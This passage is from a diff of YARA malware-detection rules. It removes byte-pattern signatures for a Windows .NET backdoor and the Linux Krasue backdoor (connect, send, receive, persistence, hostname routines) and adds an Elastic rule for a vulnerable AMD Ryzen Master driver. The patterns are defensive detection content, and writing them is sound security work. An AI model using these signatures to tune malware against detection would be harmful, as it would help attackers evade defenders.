-        ?? ?? ?? 0B 00 07 13 ?? 11 ?? 28 ?? ?? ?? ?? 00 00 7E ?? ?? ?? ?? 16 (FE | 01) ?? 13
-        ?? 11 ?? 2C ?? 16 0A DD ?? ?? ?? ?? 00 73 ?? ?? ?? ?? 13 ?? 02 8E B7 0D 12 ?? 28 ??
-        ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 0C 11 ?? 08 16 08
-        8E B7 6F ?? ?? ?? ?? 00 11 ?? 02 16 02 8E B7 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 6F ??
-        ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 16 11 ?? 6F ?? ?? ?? ?? B7 16 6F ?? ?? ?? ?? 26 00 DE
-        ?? 11 ?? 28 ?? ?? ?? ?? 00 DC DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 11 ?? 28 ?? ?? ?? ??
-        00 11 ?? 13 ?? 00 7E ?? ?? ?? ?? 13 ?? 11 ?? 2C ?? 16 80 ?? ?? ?? ?? 7E ?? ?? ?? ??
-        6F ?? ?? ?? ?? 00 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE ?? 00 28 ??
-        ?? ?? ?? DE ?? 00 7E ?? ?? ?? ?? 0A 2B ?? 06
-    }
-		$receive_v1_p1 = {
-        00 00 00 72 ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 14 (FE | 01) ?? 16 (FE | 01) ??
-        13 ?? 11 ?? 39 ?? ?? ?? ?? 15 6A 0A 16 0B 00 00 00 07 17 D6 0B 07 1F ?? (FE | 01) ??
-        13 ?? 11 ?? 2C ?? 16 0B 17 28 ?? ?? ?? ?? 00 00 7E ?? ?? ?? ?? 16 (FE | 01) ?? 13 ??
-        11 ?? 2C ?? 00 DD ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 17 (FE | 04) ?? 13 ??
-        11 ?? 2C ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 15 16 6F ?? ?? ?? ?? 26 00 00 00 7E ?? ??
-        ?? ?? 6F ?? ?? ?? ?? 16 (FE | 02) ?? 13 ?? 11 ?? 39 ?? ?? ?? ?? 06 15 6A (FE | 01) ??
-        13 ?? 11 ?? 39 ?? ?? ?? ?? 72 ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ??
-        ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 00 11 ?? 15 59 13 ?? 11 ?? 45 ?? ?? ?? ?? ?? ?? ?? ??
-        ?? ?? ?? ?? 2B ?? 00 00 DD ?? ?? ?? ?? 2B ?? 00 11 ?? 28 ?? ?? ?? ?? 0A 72 ?? ?? ??
-        ?? 13 ?? 06 16 6A (FE | 01) ?? 13 ?? 11 ?? 2C ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 15
-        6A 0A 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 16 (FE | 02) ?? 16 (FE | 01) ?? 13 ?? 11 ?? 2C
-        ?? 38 ?? ?? ?? ?? 00 38 ?? ?? ?? ?? 00 11 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 12 ?? 28 ??
-        ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 00 17 13 ?? 11 ?? 3A ??
-        ?? ?? ?? 00 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 17 D6 17 DA 17 D6 8D ?? ?? ?? ?? 80 ?? ??
-        ?? ?? 06 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? DA 0D 7E ?? ?? ?? ?? 8E B7 6A 09 (FE | 02)
-    }
-		$receive_v1_p2 = {
-        13 ?? 11 ?? 2C ?? 09 17 6A DA B7 17 D6 17 DA 17 D6 8D ?? ?? ?? ?? 80 ?? ?? ?? ?? 00
-        7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 16 7E ?? ?? ?? ?? 8E B7 16 6F ?? ?? ??
-        ?? 0C 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 16 08 6F ?? ?? ?? ?? 00 7E ?? ?? ?? ?? 6F ?? ??
-        ?? ?? 06 (FE | 01) ?? 13 ?? 11 ?? 2C ?? 15 6A 0A 14 (FE | 06) ?? ?? ?? ?? ?? 73 ?? ??
-        ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 11 ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 00
-        11 ?? 1F ?? 6F ?? ?? ?? ?? 26 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 00 73 ?? ?? ?? ?? 80 ??
-        ?? ?? ?? 00 38 ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE ??
-        00 00 00 00 00 7E ?? ?? ?? ?? 14 (FE | 01) ?? 16 (FE | 01) ?? 13 ?? 11 ?? 2C ?? 7E ??
-        ?? ?? ?? 28 ?? ?? ?? ?? 14 72 ?? ?? ?? ?? 16 8D ?? ?? ?? ?? 14 14 14 17 28 ?? ?? ??
-        ?? 26 14 80 ?? ?? ?? ?? 00 DE ?? 25 28 ?? ?? ?? ?? 13 ?? 00 28 ?? ?? ?? ?? DE ?? 00
-        16 80 ?? ?? ?? ?? 28 ?? ?? ?? ?? 16 (FE | 01) ?? 13 ?? 11 ?? 2C ?? 2B ?? 00 17 80 ??
-        ?? ?? ?? 38 ?? ?? ?? ?? 00
-    }
-		$connect_v2 = {
-        16 80 ?? ?? ?? ?? 20 D0 07 00 00 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 0A 06 25 13 ?? 28 ??
-        ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 14 80 ?? ?? ?? ?? DE ??
-        26 DE ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? DE ?? 26 DE ?? 73 ?? ?? ?? ??
-        80 ?? ?? ?? ?? 73 ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 20 00 20 03 00 6F ?? ??
-        ?? ?? 7E ?? ?? ?? ?? 20 00 20 03 00 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 20
-        10 27 00 00 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 20 10 27 00 00 6F ?? ?? ??
-        ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 17 80
-        ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 7E ?? ?? ?? ?? 0B 72 ?? ?? ?? ?? 72 ??
-        ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 2C ?? 07 7F ?? ?? ?? ?? 28
-        ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 2B ?? 07 0C 72 ?? ?? ?? ?? 72 ?? ?? ??
-        ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0D 08 12 ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ??
-        ?? ?? 0B 1B 8D ?? ?? ?? ?? 13 ?? 11 ?? 16 07 A2 11 ?? 17 7E ?? ?? ?? ?? A2 11 ?? 18
-        72 ?? ?? ?? ?? A2 11 ?? 19 7E ?? ?? ?? ?? A2 11 ?? 1A 72 ?? ?? ?? ?? A2 11 ?? 28 ??
-        ?? ?? ?? 0B 07 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 7E
-        ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 72 ?? ?? ?? ?? 28 ??
-        ?? ?? ?? 0B 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B
-        07 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0B 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 12 ?? 28 ?? ?? ??
-        ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 DE ?? 26 DE ?? DE ?? 26 16 80 ?? ?? ?? ?? DE ??
-        DE ?? 11 ?? 28 ?? ?? ?? ?? DC 7E
-    }
-		$receive_v2 = {
-        72 ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 39 ?? ?? ?? ?? 15 6A 0A 16 0B 07 17 D6
-        0B 07 1F ?? 33 ?? 16 0B 17 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 39 ?? ?? ?? ?? 7E ?? ?? ??
-        ?? 6F ?? ?? ?? ?? 17 3C ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 15 16 6F ?? ?? ??
-        ?? 26 38 ?? ?? ?? ?? 06 15 6A 3B ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 17 D6 8D
-        ?? ?? ?? ?? 80 ?? ?? ?? ?? 06 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? DA 0C 7E ?? ?? ?? ?? 8E
-        69 6A 08 31 ?? 08 17 6A DA B7 17 D6 8D ?? ?? ?? ?? 80 ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F
-        ?? ?? ?? ?? 7E ?? ?? ?? ?? 16 7E ?? ?? ?? ?? 8E 69 16 6F ?? ?? ?? ?? 0D 7E ?? ?? ??
-        ?? 7E ?? ?? ?? ?? 16 09 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 40 ?? ?? ??
-        ?? 15 6A 0A 7E ?? ?? ?? ?? 2D ?? 14 (FE | 06) ?? ?? ?? ?? ?? 73 ?? ?? ?? ?? 80 ?? ??
-        ?? ?? 7E ?? ?? ?? ?? 17 73 ?? ?? ?? ?? 13 ?? 11 ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 6F
-        ?? ?? ?? ?? 11 ?? 1F ?? 6F ?? ?? ?? ?? 26 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 73 ?? ?? ??
-        ?? 80 ?? ?? ?? ?? 38 ?? ?? ?? ?? 72 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ??
-        6F ?? ?? ?? ?? 13 ?? 11 ?? 15 2E ?? 11 ?? 2C ?? 11 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 12
-        ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13 ?? 2B ?? 11 ?? 28
-        ?? ?? ?? ?? 0A 06 16 6A 33 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 26 15 6A 0A 7E ?? ?? ??
-        ?? 6F ?? ?? ?? ?? 16 3E ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 3A ?? ?? ?? ?? DE
-        ?? 26 DE ?? 7E ?? ?? ?? ?? 2C ?? 7E ?? ?? ?? ?? 14 72 ?? ?? ?? ?? 16 8D ?? ?? ?? ??
-        14 14 14 17 28 ?? ?? ?? ?? 26 14 80 ?? ?? ?? ?? DE ?? 26 DE ?? 16 80 ?? ?? ?? ?? 28
-        ?? ?? ?? ?? 2C ?? 17 80
-    }
-		$get_system_information_v2_p1 = {
-        72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ??
-        ?? ?? ?? 72 ?? ?? ?? ?? 16 28 ?? ?? ?? ?? 2C ?? 06 0B 7F ?? ?? ?? ?? 28 ?? ?? ?? ??
-        72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 07 12 ?? 28 ?? ?? ?? ?? 7E ?? ?? ??
-        ?? 28 ?? ?? ?? ?? 0A 2B ?? 06 0D 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ??
-        ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13
-        ?? 09 12 ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A DE ?? 26 06 13 ?? 28 ??
-        ?? ?? ?? 13 ?? 11 ?? 12 ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A DE ?? 06
-        28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A DE ?? 26 06 72 ?? ?? ?? ?? 7E ?? ??
-        ?? ?? 28 ?? ?? ?? ?? 0A DE ?? 06 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A DE
-        ?? 26 06 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A DE ?? 06 7E ?? ?? ?? ?? 6F
-        ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? 13 ?? 12 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 7E
-        ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A DE ?? 26 06 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ??
-        ?? 0A DE ?? 06 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 06 73 ?? ?? ?? ?? 28
-        ?? ?? ?? ?? 6F ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A DE ?? 26 06 72 ?? ?? ?? ?? 28 ?? ?? ??
-        ?? 0A DE ?? 06 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ??
-        ?? ?? ?? 15 16 28 ?? ?? ?? ?? 13 ?? 11 ?? 8E 69 17 33 ?? 06 72 ?? ?? ?? ?? 28 ?? ??
-        ?? ?? 0A 06 11 ?? 11 ?? 8E 69 17 DA 9A 28 ?? ?? ?? ?? 0A DE ?? 26 06 72
-    }
-		$get_system_information_v2_p2 = {
-        28 ?? ?? ?? ?? 0A DE ?? 1F ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2C ?? 06
-        72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 2B ?? 06 72 ?? ?? ?? ?? 7E ?? ?? ??
-        ?? 28 ?? ?? ?? ?? 0A DE ?? 26 06 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A DE ?? 28 ?? ?? ??
-        ?? 2C ?? 06 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 2B ?? 06 72 ?? ?? ?? ??
-        7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 06 7E ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A
-        06 72 ?? ?? ?? ?? 7E ?? ?? ?? ?? 28 ?? ?? ?? ?? 0A 06 28 ?? ?? ?? ?? 7E ?? ?? ?? ??
-        28 ?? ?? ?? ?? 0A 72 ?? ?? ?? ?? 13 ?? 7E ?? ?? ?? ?? 72 ?? ?? ?? ?? 7E ?? ?? ?? ??
-        28 ?? ?? ?? ?? 16 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11 ?? 11 ?? 9A
-        13 ?? 11 ?? 6F ?? ?? ?? ?? 1F ?? 33 ?? 11 ?? 11 ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 13
-        ?? 11 ?? 17 D6 13 ?? 11 ?? 11 ?? 8E 69 32 ?? DE ?? 26 DE ?? 06 11 ?? 28
-    }
-		$send_v2 = {
-        7E ?? ?? ?? ?? 2D ?? 16 2A 7E ?? ?? ?? ?? 0A 06 25 13 ?? 28 ?? ?? ?? ?? 7E ?? ?? ??
-        ?? 2D ?? 16 13 ?? DD ?? ?? ?? ?? 73 ?? ?? ?? ?? 0B 02 8E 69 13 ?? 12 ?? 28 ?? ?? ??
-        ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 0C 12 ?? 28 ?? ?? ?? ?? 0D 07 09 16 09 8E 69 6F ??
-        ?? ?? ?? 07 02 16 02 8E 69 6F ?? ?? ?? ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? 07 6F ?? ??
-        ?? ?? 16 07 6F ?? ?? ?? ?? B7 16 6F ?? ?? ?? ?? 26 07 6F ?? ?? ?? ?? DE ?? 11 ?? 28
-        ?? ?? ?? ?? DC DE ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 7E ?? ?? ?? ?? 2C ?? 16 80 ?? ?? ??
-        ?? 7E ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 26 DE ?? 28 ?? ?? ?? ?? DE ?? 7E ?? ?? ?? ??
-        2A 11
-    }
+		$a = { 89 C0 89 45 D4 83 7D D4 00 79 1A 83 EC 0C 68 50 }
 
 	condition:
-		uint16(0)==0x5A4D and ((( all of ($persistence_mechanism_v1_p*)) and ( all of ($connect_v1_p*)) and ($send_v1) and ( all of ($receive_v1_p*))) or (($connect_v2) and ($receive_v2) and ( all of ($get_system_information_v2_p*)) and ($send_v2)))
+		all of them
 }
-rule REVERSINGLABS_Linux_Backdoor_Krasue : TC_DETECTION MALICIOUS MALWARE FILE
+rule ELASTIC_Windows_Vulndriver_Ryzen_7Df5A747 : FILE
 {
 	meta:
-		description = "Yara rule that detects Krasue backdoor."
-		author = "ReversingLabs"
-		id = "3187eebf-ef70-585f-85cf-5813025c785e"
-		date = "2024-03-04"
-		modified = "2024-03-04"
-		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/backdoor/Linux.Backdoor.Krasue.yara#L1-L127"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "e2daa35ef9e0793062c9fb3bd8e4838e1e81ee3d228d8117b1c3b0e72eb8e151"
+		description = "Name: AMDRyzenMasterDriver.sys, Version: 1.5.0.0"
+		author = "Elastic Security"
+		id = "7df5a747-d924-459d-8363-9c12841ef37f"
+		date = "2022-04-07"
+		modified = "2022-04-07"
+		reference = "https://github.com/elastic/protections-artifacts/"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_VulnDriver_Ryzen.yar#L1-L21"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "a13054f349b7baa8c8a3fcbd31789807a493cc52224bbff5e412eb2bd52a6433"
+		logic_hash = "192b51f0bbd2cab4c1d3da6f82fbee7129a53abaa6e8769d3681821112017824"
 		score = 75
-		quality = 90
-		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
-		status = "RELEASED"
-		sharing = "TLP:WHITE"
-		category = "MALWARE"
-		tc_detection_type = "Backdoor"
-		tc_detection_name = "Krasue"
-		tc_detection_factor = 5
-		importance = 25
+		quality = 75
+		tags = "FILE"
+		fingerprint = "1bf5d6b2739ce4fe5137cff84e7bfb9389e8d175480094fe831f8f68d84abb16"
+		threat_name = "Windows.VulnDriver.Ryzen"
+		severity = 50
+		arch_context = "x86"
+		scan_context = "file"
+		license = "Elastic License v2"
+		os = "windows"
 
 	strings:
-		$switch_server = {
-            8B 05 ?? ?? ?? ?? FF C0 3B 05 ?? ?? ?? ?? 89 05 ?? ?? ?? ?? 7C ?? C7 05 ?? ?? ?? ??
-            ?? ?? ?? ?? 48 63 05 ?? ?? ?? ?? 85 C0 75 ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? EB ?? 8B
-            15 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? C6 05 ?? ?? ?? ?? ?? C6 05 ?? ?? ?? ??
-            ?? 89 15 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 66 89 15 ?? ?? 23 00 48 8B 04 C5 ?? ?? ?? ??
-            66 C7 05 ?? ?? 23 00 ?? ?? 8B 10 89 15 ?? ?? ?? ?? 66 8B 40 ?? 66 89 05 ?? ?? 23 00
-            C3
-        }
-		$get_hostname = {
-            41 55 41 54 31 F6 55 53 31 C0 BF ?? ?? ?? ?? 48 81 EC ?? ?? ?? ?? E8 ?? ?? ?? ?? 85
-            C0 0F 88 ?? ?? ?? ?? 48 89 E6 89 C7 89 C3 E8 ?? ?? ?? ?? 48 8B 6C 24 ?? 45 31 C9 31
-            FF 41 89 D8 B9 ?? ?? ?? ?? BA ?? ?? ?? ?? 41 89 EC 48 63 ED 48 89 EE E8 ?? ?? ?? ??
-            BE ?? ?? ?? ?? 48 89 C7 49 89 C5 E8 ?? ?? ?? ?? 83 F8 ?? 74 ?? 48 63 D0 49 8D 74 15
-            ?? 8D 50 ?? 48 63 D2 44 39 E2 41 89 D0 7D ?? 48 FF C2 41 80 7C 15 ?? ?? 75 ?? 44 89
-            C1 41 FF C8 BA ?? ?? ?? ?? 29 C1 4D 63 C0 48 89 D7 83 E9 ?? 48 63 C9 F3 A4 41 C6 80
-            ?? ?? ?? ?? ?? 4C 89 EF 48 89 EE E8 ?? ?? ?? ?? 89 DF E8 ?? ?? ?? ?? 48 81 C4 ?? ??
-            ?? ?? 5B 5D 41 5C 41 5D C3
-        }
-		$start_server_p1 = {
-            41 57 41 56 31 D2 41 55 41 54 BE ?? ?? ?? ?? 55 53 89 FB BF ?? ?? ?? ?? 48 81 EC ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 89 05 ?? ?? ?? ?? 79 ?? 83 CF ?? E9 ?? ?? ?? ?? 48 8D
-            4C 24 ?? 41 B8 ?? ?? ?? ?? BE ?? ?? ?? ?? BA ?? ?? ?? ?? 89 C7 C7 44 24 ?? ?? ?? ??
-            ?? E8 ?? ?? ?? ?? BA ?? ?? ?? ?? 31 C0 B9 ?? ?? ?? ?? 48 89 D7 F3 AB 31 FF 66 C7 05
-            ?? ?? 23 00 ?? ?? E8 ?? ?? ?? ?? 0F B7 FB 89 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 3D ??
-            ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 66 89 05 ?? ?? 23 00 E8 ?? ?? ?? ?? 85 C0 78
-            ?? 4C 8D A4 24 ?? ?? ?? ?? 4C 8D AC 24 ?? ?? ?? ?? 4C 8D 74 24 ?? C7 05 ?? ?? ?? ??
-            ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 31 C9 41 B9 ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? BA ?? ?? ??
-            ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 48 89 C3 0F 88 ?? ?? ?? ?? 31 C0 B9 ?? ?? ??
-            ?? 4C 89 E7 83 FB ?? F3 AB 7E ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ??
-            ?? 85 C0 75 ?? B8 ?? ?? ?? ?? 8B 3D ?? ?? ?? ?? 41 B8 ?? ?? ?? ?? 44 8D 08 31 C9 BA
-            ?? ?? ?? ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 83 FB ?? 75 ?? BE ?? ?? ?? ?? 4C 89
-            E7 E8 ?? ?? ?? ?? 85 C0 75 ?? 8B 05 ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 89 05
-            ?? ?? ?? ?? E9 ?? ?? ?? ?? 89 DA BE ?? ?? ?? ?? 4C 89 E7 E8 ?? ?? ?? ?? 4C 89 E6 89
-            C2 8A 06 89 F5 44 29 E5 3C ?? 75 ?? 80 7E ?? ?? 75 ?? 48 83 C6 ?? EB ?? 3C ?? 75 ??
-            80 7E ?? ?? 75 ?? 41 B8 ?? ?? ?? ?? 31 C0 B9 ?? ?? ?? ?? 4C 89 C7 4C 8B 05 ?? ?? ??
-            ?? F3 AB 8B 7E ?? 66 8B 4E ?? 4C 89 06 C6 06 ?? 45 31 C0 C6 46 ?? ?? BE
-        }
-		$start_server_p2 = {
-            66 C7 05 ?? ?? 23 00 ?? ?? 89 3D ?? ?? ?? ?? 66 89 0D ?? ?? 23 00 89 3D ?? ?? ?? ??
-            66 89 0D ?? ?? 23 00 48 89 F7 B9 ?? ?? ?? ?? 4C 89 E6 F3 AB E9 ?? ?? ?? ?? 85 ED 75
-            ?? 48 63 DD BA ?? ?? ?? ?? BE ?? ?? ?? ?? 4C 01 E3 48 89 DF E8 ?? ?? ?? ?? 85 C0 75
-            ?? 48 8D 7B ?? E8 ?? ?? ?? ?? 6B C0 ?? B9 ?? ?? ?? ?? BE ?? ?? ?? ?? 4C 89 EF 99 F7
-            F9 31 C0 E8 ?? ?? ?? ?? EB ?? 8D 45 ?? 48 8D 54 24 ?? 48 98 85 C0 78 ?? 49 8B 0C 04
-            48 83 C2 ?? 48 83 E8 ?? 48 89 4A ?? C6 42 ?? ?? C6 42 ?? ?? EB ?? BA ?? ?? ?? ?? BE
-            ?? ?? ?? ?? 48 89 DF E8 ?? ?? ?? ?? 85 C0 75 ?? 48 8B 05 ?? ?? ?? ?? 89 E9 4C 89 F6
-            89 2D ?? ?? ?? ?? C7 05 ?? ?? ?? ?? ?? ?? ?? ?? 48 89 05 ?? ?? ?? ?? B8 ?? ?? ?? ??
-            48 89 C7 F3 A4 BE ?? ?? ?? ?? 4C 89 EF E8 ?? ?? ?? ?? 31 C0 48 83 C9 ?? 4C 89 EF F2
-            AE 48 89 C8 48 F7 D0 48 8D 50 ?? E9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89
-            DF E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 44 8B 0D ?? ?? ?? ?? 44
-            8B 3D ?? ?? ?? ?? 8B 1D ?? ?? ?? ?? 89 4C 24 ?? 44 89 4C 24 ?? E8 ?? ?? ?? ?? 48 83
-            EC ?? 41 89 C0 BA ?? ?? ?? ?? 8B 4C 24 ?? 4C 89 EF BE ?? ?? ?? ?? 31 C0 51 8B 0D ??
-            ?? ?? ?? 41 57 53 44 8B 4C 24 ?? E8 ?? ?? ?? ?? 31 C0 48 83 C9 ?? 4C 89 EF F2 AE 48
-            83 C4 ?? 48 89 C8 48 F7 D0 48 8D 50 ?? 41 89 E8 4C 89 F1 4C 89 EE 8B 3D ?? ?? ?? ??
-            E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8
-        }
-		$start_server_p3 = {
-            85 C0 75 ?? 31 FF E8 ?? ?? ?? ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ?? ??
-            ?? 85 C0 75 ?? BF ?? ?? ?? ?? EB ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ?? ??
-            ?? ?? 85 C0 75 ?? BF ?? ?? ?? ?? EB ?? BA ?? ?? ?? ?? BE ?? ?? ?? ?? 48 89 DF E8 ??
-            ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? E8 ?? ?? ?? ?? 41 89 C7 E8 ?? ?? ?? ?? 45 85 FF 0F
-            85 ?? ?? ?? ?? 48 8D 7C 24 ?? E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0 41 89 C4 75 ?? 8B
-            7C 24 ?? E8 ?? ?? ?? ?? 8B 7C 24 ?? BE ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B 7C 24 ?? BE ??
-            ?? ?? ?? E8 ?? ?? ?? ?? 8B 7C 24 ?? E8 ?? ?? ?? ?? 48 8D 4B ?? 45 31 C0 BA ?? ?? ??
-            ?? BE ?? ?? ?? ?? BF ?? ?? ?? ?? 31 C0 E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 7C 24 ?? E8
-            ?? ?? ?? ?? 8B 7C 24 ?? 48 8D B4 24 ?? ?? ?? ?? BA ?? ?? ?? ?? E8 ?? ?? ?? ?? 85 C0
-            89 C3 7E ?? 4C 8D AC 24 ?? ?? ?? ?? 8D 04 2B 3D ?? ?? ?? ?? 7E ?? 8B 3D ?? ?? ?? ??
-            BA ?? ?? ?? ?? 48 8D 4C 24 ?? 4C 89 EE 29 EA 41 89 E8 49 81 C5 ?? ?? ?? ?? 81 EB ??
-            ?? ?? ?? E8 ?? ?? ?? ?? EB ?? 8B 3D ?? ?? ?? ?? 48 8D 4C 24 ?? 41 89 E8 89 DA 4C 89
-            EE E8 ?? ?? ?? ?? EB ?? 31 F6 BA ?? ?? ?? ?? 44 89 E7 E8 ?? ?? ?? ?? 85 C0 0F 85
-        }
-		$send_encrypt = {
-            E8 ?? ?? ?? ?? 41 8D 7E ?? 49 89 C5 48 63 FF E8 ?? ?? ?? ?? 48 63 54 24 ?? 48 89 C7
